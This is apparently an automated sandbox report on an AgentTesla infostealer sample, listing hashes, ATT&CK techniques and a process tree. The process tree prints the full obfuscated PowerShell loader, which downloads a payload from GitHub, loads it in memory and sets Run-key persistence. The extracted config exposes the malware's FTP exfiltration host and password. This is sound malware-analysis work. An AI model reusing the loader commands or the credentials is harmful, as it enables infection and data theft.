agenttesla | 9eb68fe0683e79b88e4b37a2b038336192b516c5f975bf8636dc1565432bbdbc

General

Target

scan_374783.js
Size

3KB
MD5

c6b0c8c717d6f6b0fc0747c349821280
SHA1

e7b0686c4eebc8285ae5a2eb2c70a602b451b0d6
SHA256

9eb68fe0683e79b88e4b37a2b038336192b516c5f975bf8636dc1565432bbdbc
SHA512

434a2c6fe2ff42715e1ea6807e37d40852aab4ce0cac8af7ddd52327f503c72eb5544f221c15080b341942f6a79b9279679dbb04fa8216e2d5616c53df0fcac7

Score

10^/10

agenttesla discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.fosna.net
Port:
21
Username:
[email protected]
Password:
(=8fPSH$KO_!

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	2348	wscript.exe
10	2348	wscript.exe
20	1464	powershell.exe
22	1464	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4972	powershell.exe
1464	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\alcatifa.vbs"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	raw.githubusercontent.com
19	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1464 set thread context of 4024	1464	powershell.exe	90

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4972	powershell.exe
4972	powershell.exe
1464	powershell.exe
1464	powershell.exe
1464	powershell.exe
1464	powershell.exe
4024	AddInProcess32.exe
4024	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	1464	powershell.exe
Token: SeDebugPrivilege	4024	AddInProcess32.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 4972	2348	wscript.exe	84
PID 2348 wrote to memory of 4972	2348	wscript.exe	84
PID 4972 wrote to memory of 1464	4972	powershell.exe	86
PID 4972 wrote to memory of 1464	4972	powershell.exe	86
PID 1464 wrote to memory of 3472	1464	powershell.exe	87
PID 1464 wrote to memory of 3472	1464	powershell.exe	87
PID 1464 wrote to memory of 4160	1464	powershell.exe	89
PID 1464 wrote to memory of 4160	1464	powershell.exe	89
PID 1464 wrote to memory of 4160	1464	powershell.exe	89
PID 1464 wrote to memory of 4024	1464	powershell.exe	90
PID 1464 wrote to memory of 4024	1464	powershell.exe	90
PID 1464 wrote to memory of 4024	1464	powershell.exe	90
PID 1464 wrote to memory of 4024	1464	powershell.exe	90
PID 1464 wrote to memory of 4024	1464	powershell.exe	90
PID 1464 wrote to memory of 4024	1464	powershell.exe	90
PID 1464 wrote to memory of 4024	1464	powershell.exe	90
PID 1464 wrote to memory of 4024	1464	powershell.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\scan_374783.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAQgAnACsAJwAwADgAdQByAGwAIAA9ACAAQwAnACsAJwA3AEkAaAB0AHQAcABzADoALwAvAHIAYQAnACsAJwB3AC4AJwArACcAZwBpACcAKwAnAHQAaAB1ACcAKwAnAGIAdQAnACsAJwBzAGUAcgBjAG8AbgB0ACcAKwAnAGUAbgB0ACcAKwAnAC4AYwAnACsAJwBvAG0ALwBOACcAKwAnAG8ARABlAHQAZQBjAHQATwAnACsAJwBuAC8ATgBvAEQAZQAnACsAJwB0AGUAYwB0AE8AbgAvAHIAZQBmAHMAJwArACcALwBoACcAKwAnAGUAYQAnACsAJwBkACcAKwAnAHMAJwArACcALwAnACsAJwBtACcAKwAnAGEAaQBuAC8ARABlACcAKwAnAHQAYQBoAE4AbwAnACsAJwB0AGgALQBWACcAKwAnAC4AdAAnACsAJwB4AHQAQwAnACsAJwA3AEkAOwAgAEIAMAAnACsAJwA4AGIAYQBzACcAKwAnAGUANgA0AEMAJwArACcAbwAnACsAJwBuAHQAZQBuAHQAIAA9ACAAKABOAGUAdwAtAE8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQAnACsAJwBiAEMAbABpAGUAbgB0ACkALgBEACcAKwAnAG8AdwBuAGwAbwAnACsAJwBhAGQAJwArACcAUwB0AHIAJwArACcAaQAnACsAJwBuAGcAKABCACcAKwAnADAAOAB1ACcAKwAnAHIAbAAnACsAJwApADsAIABCADAAJwArACcAOAAnACsAJwBiAGkAbgBhACcAKwAnAHIAJwArACcAeQAnACsAJwBDACcAKwAnAG8AbgB0ACcAKwAnAGUAbgB0ACAAPQAnACsAJwAgAFsAUwB5AHMAdAAnACsAJwBlAG0ALgBDAG8AbgB2AGUAJwArACcAcgB0AF0AOgA6ACcAKwAnAEYAcgAnACsAJwBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuACcAKwAnAGcAKAAnACsAJwBCADAAJwArACcAOABiAGEAJwArACcAcwBlADYANAAnACsAJwBDAG8AbgB0ACcAKwAnAGUAbgB0ACkAOwAgACcAKwAnAEIAMAA4AGEAcwBzAGUAbQBiAGwAeQAgACcAKwAnAD0AIABbAFIAZQBmAGwAJwArACcAZQBjACcAKwAnAHQAJwArACcAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATAAnACsAJwBvAGEAZAAoAEIAMAA4ACcAKwAnAGIAaQBuAGEAcgB5AEMAJwArACcAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQAKQAnACsAJwA7ACAAWwBkAG4AbABpAGIAJwArACcALgBJACcAKwAnAE8ALgBIACcAKwAnAG8AbQAnACsAJwBlACcAKwAnAF0AOgA6AFYAQQAnACsAJwBJACgAJwArACcAcABRACcAKwAnAFUAOAA4ADQAZQAnACsAJwA4AGUAMABkADUAMgAnACsAJwBmADAALQAnACsAJwBlADUAYQAnACsAJwBiAC0AJwArACcAMQAnACsAJwAxADYANAAtADAAMABjADYAJwArACcALQBhAGEAYQAyAGYAZgA1AGUAJwArACcAPQAnACsAJwBuACcAKwAnAGUAJwArACcAawAnACsAJwBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAAnACsAJwB0ACcAKwAnAC4ANAAyADAAMgAwADEANwAwAG4AaQBnACcAKwAnAGkAcgBvAHIAZQAnACsAJwBpAHYAYQB4AC8AbwAvAG0AbwAnACsAJwBjAC4AJwArACcAdABvAHAAcwBwAHAAYQAuADQAMgAwADIAcwAnACsAJwB0AHAAeQByACcAKwAnAGMAJwArACcALwBiAC8AMAB2ACcAKwAnAC8AbQBvAGMAJwArACcALgAnACsAJwBzAGkAcABhAGUAbABnACcAKwAnAG8AbwBnACcAKwAnAC4AZQAnACsAJwBnAGEAcgBvACcAKwAnAHQAJwArACcAcwBlAHMAYQBiACcAKwAnAGUAcgBpAGYAJwArACcALwAvADoAJwArACcAcwAnACsAJwBwAHQAJwArACcAdABoAHAAUQBVACwAJwArACcAIABwAFEAVQAxAHAAUQBVACwAJwArACcAIABwAFEAVQBDADoAVAAnACsAJwA0AHkAUAByAG8AZwByAGEAbQBEAGEAdABhACcAKwAnAFQANAAnACsAJwB5ACcAKwAnAHAAUQBVACwAIABwACcAKwAnAFEAVQBhACcAKwAnAGwAYwBhAHQAaQAnACsAJwBmAGEAcAAnACsAJwBRAFUALAAgAHAAUQBVAEEAZABkAEkAbgBQAHIAJwArACcAbwBjAGUAcwBzADMAJwArACcAMgAnACsAJwBwAFEAVQAsACAAcABRACcAKwAnAFUAcABRAFUALABwACcAKwAnAFEAVQAnACsAJwBwACcAKwAnAFEAVQApACcAKQAgACAALQBDAHIAZQBwAEwAYQBDAGUAIAAoAFsAQwBoAGEAUgBdADEAMQAyACsAWwBDAGgAYQBSAF0AOAAxACsAWwBDAGgAYQBSAF0AOAA1ACkALABbAEMAaABhAFIAXQAzADQAIAAgAC0AQwByAGUAcABMAGEAQwBlACAAIAAoAFsAQwBoAGEAUgBdADYANwArAFsAQwBoAGEAUgBdADUANQArAFsAQwBoAGEAUgBdADcAMwApACwAWwBDAGgAYQBSAF0AMwA5ACAAIAAtAFIAZQBQAGwAQQBjAGUAIAAgACgAWwBDAGgAYQBSAF0ANgA2ACsAWwBDAGgAYQBSAF0ANAA4ACsAWwBDAGgAYQBSAF0ANQA2ACkALABbAEMAaABhAFIAXQAzADYAIAAgAC0AUgBlAFAAbABBAGMAZQAgACAAKABbAEMAaABhAFIAXQA4ADQAKwBbAEMAaABhAFIAXQA1ADIAKwBbAEMAaABhAFIAXQAxADIAMQApACwAWwBDAGgAYQBSAF0AOQAyACkAfAAuACgAIAAoAFsAcwBUAFIAaQBuAEcAXQAkAFYAZQBSAEIAbwBTAGUAcAByAGUARgBlAHIARQBOAGMAZQApAFsAMQAsADMAXQArACcAWAAnAC0ASgBPAGkAbgAnACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('B'+'08url = C'+'7Ihttps://ra'+'w.'+'gi'+'thu'+'bu'+'sercont'+'ent'+'.c'+'om/N'+'oDetectO'+'n/NoDe'+'tectOn/refs'+'/h'+'ea'+'d'+'s'+'/'+'m'+'ain/De'+'tahNo'+'th-V'+'.t'+'xtC'+'7I; B0'+'8bas'+'e64C'+'o'+'ntent = (New-Obj'+'ec'+'t System.Net.We'+'bClient).D'+'ownlo'+'ad'+'Str'+'i'+'ng(B'+'08u'+'rl'+'); B0'+'8'+'bina'+'r'+'y'+'C'+'ont'+'ent ='+' [Syst'+'em.Conve'+'rt]::'+'Fr'+'omBase64Strin'+'g('+'B0'+'8ba'+'se64'+'Cont'+'ent); '+'B08assembly '+'= [Refl'+'ec'+'t'+'ion.Assembly]::L'+'oad(B08'+'binaryC'+'o'+'nten'+'t)'+'; [dnlib'+'.I'+'O.H'+'om'+'e'+']::VA'+'I('+'pQ'+'U884e'+'8e0d52'+'f0-'+'e5a'+'b-'+'1'+'164-00c6'+'-aaa2ff5e'+'='+'n'+'e'+'k'+'ot&aidem=tla?tx'+'t'+'.42020170nig'+'irore'+'ivax/o/mo'+'c.'+'topsppa.4202s'+'tpyr'+'c'+'/b/0v'+'/moc'+'.'+'sipaelg'+'oog'+'.e'+'garo'+'t'+'sesab'+'erif'+'//:'+'s'+'pt'+'thpQU,'+' pQU1pQU,'+' pQUC:T'+'4yProgramData'+'T4'+'y'+'pQU, p'+'QUa'+'lcati'+'fap'+'QU, pQUAddInPr'+'ocess3'+'2'+'pQU, pQ'+'UpQU,p'+'QU'+'p'+'QU)') -CrepLaCe ([ChaR]112+[ChaR]81+[ChaR]85),[ChaR]34 -CrepLaCe ([ChaR]67+[ChaR]55+[ChaR]73),[ChaR]39 -RePlAce ([ChaR]66+[ChaR]48+[ChaR]56),[ChaR]36 -RePlAce ([ChaR]84+[ChaR]52+[ChaR]121),[ChaR]92)|.( ([sTRinG]$VeRBoSepreFerENce)[1,3]+'X'-JOin'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\alcatifa.vbs"
      4⤵
      PID:3472
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:4160
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_igp2sohf.2et.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1464-22-0x00000206FC1A0000-0x00000206FC3C0000-memory.dmp

Filesize
2.1MB

Download
memory/4024-28-0x0000000005CD0000-0x0000000006274000-memory.dmp

Filesize
5.6MB

Download
memory/4024-23-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4024-29-0x0000000005790000-0x00000000057F6000-memory.dmp

Filesize
408KB

Download
memory/4024-30-0x0000000006960000-0x00000000069F2000-memory.dmp

Filesize
584KB

Download
memory/4024-31-0x0000000006A00000-0x0000000006A50000-memory.dmp

Filesize
320KB

Download
memory/4024-32-0x0000000006B40000-0x0000000006B4A000-memory.dmp

Filesize
40KB

Download
memory/4972-12-0x00007FF901130000-0x00007FF901BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4972-11-0x00007FF901130000-0x00007FF901BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4972-10-0x000001B8C2440000-0x000001B8C2462000-memory.dmp

Filesize
136KB

Download
memory/4972-27-0x00007FF901130000-0x00007FF901BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4972-0-0x00007FF901133000-0x00007FF901135000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads